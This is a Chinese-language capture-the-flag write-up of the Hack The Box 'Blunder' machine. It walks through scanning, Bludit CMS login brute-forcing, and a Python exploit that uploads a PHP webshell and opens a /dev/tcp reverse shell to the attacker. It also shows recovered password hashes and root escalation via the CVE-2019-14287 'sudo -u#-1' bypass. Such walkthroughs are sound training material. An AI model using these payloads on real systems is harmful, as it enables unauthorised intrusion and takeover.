HTB 学习笔记
【Hack The Box】linux练习-- Blunder
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月21日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
信息收集
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
80
页面也很简单,全都是博客
目录爆破
gobuster dir -u http://10.129.95.225/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x php
发现/admin
以及todo.txt
里面提到了一个
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING
fergus也许是个用户名
去到/admin
并同时查找漏洞
目录爆破结果
登陆爆破
发现了很多漏洞。3.9.2最多
而我们在源码中输入cms名字也可能找到版本信息
在页面源代码发现了版本信息
fergus用户名
cewl http://10.10.10.191 > wordlist 获得一个字典
fergus放到use.txt
利用刚才的exp来爆破,因为根据查阅资料,这个cms都携带自动锁定,而这些脚本大致上是利用的http中的标头传递密码信息,不过在这里不深究
python 48942.py -l http://10.129.95.225/admin/ -u use.txt -p wordlist
得到账号密码
fergus:RolandDeschain
接着利用rce的exp
python 48568.py -u http://10.129.95.225/admin/ -user fergus -pass RolandDeschain -c id
但是没有成功
再找一个
#!/usr/bin/env python3
import netifaces as ni
import re
import requests
callback_ip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr']
username = 'fergus'
password = 'RolandDeschain'
url = 'http://10.10.10.191'
s = requests.session()
# Login
resp = s.get(f'{url}/admin/')
csrf = re.findall('name="tokenCSRF" value="([0-9a-f]{32,})"', resp.text)[0]
s.post(f'{url}/admin/', allow_redirects=False,
data = {'tokenCSRF': csrf, 'username': username, 'password': password, 'remember': 'true', 'save': ''})
# Get CSRF to upload images
resp = s.get(f'{url}/admin/new-content/index.php')
csrf = re.findall('\nvar tokenCSRF = "([0-9a-f]{32,})";', resp.text)[0]
# Upload webshell
form_data = {'images[]': ('0xdf.php', '<?php system($_REQUEST["cmd"]); ?>', 'image/png')}
data = {'uuid': 'junk',
'tokenCSRF': csrf}
s.post(f'{url}/admin/ajax/upload-images', data=data, files=form_data, proxies={'http':'http://127.0.0.1:8080'}, allow_redirects=False)
# Upload .htaccess file
form_data = {'images[]': ('.htaccess', 'RewriteEngine off', 'image/png')}
s.post(f'{url}/admin/ajax/upload-images', data=data, files=form_data, proxies={'http':'http://127.0.0.1:8080'}, allow_redirects=False)
# Trigger Shell
resp = s.get(f'{url}/bl-content/tmp/0xdf.php', params={'cmd':f'bash -c "bash -i >& /dev/tcp/{callback_ip}/443 0>&1"'})
才用下面的脚本
成功拿到shell
同样的作为一个www用户,我将在var目录下自习搜索
在www下的cms相似文件名的php脚本中我发现了凭据
"role": "admin",
"password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
"role": "author",
"password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
但是解密不出来
在var/www/bludit-3.10.0a/bl-content/database
发现了别的用户
nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
Password120
我们登陆
su hugo
sudo -l
这意味着我可以运行 sudo /bin/bash作为除 root 以外的任何用户,这很遗憾,因为 root 是我想要运行它的用户
但是我们搜索一下
搜索的内容看下图的搜索框
CVE-2019-14287
只要我们输入下面的命令,我们就会被视为根
谷歌第一条
sudo -u#-1 /bin/bash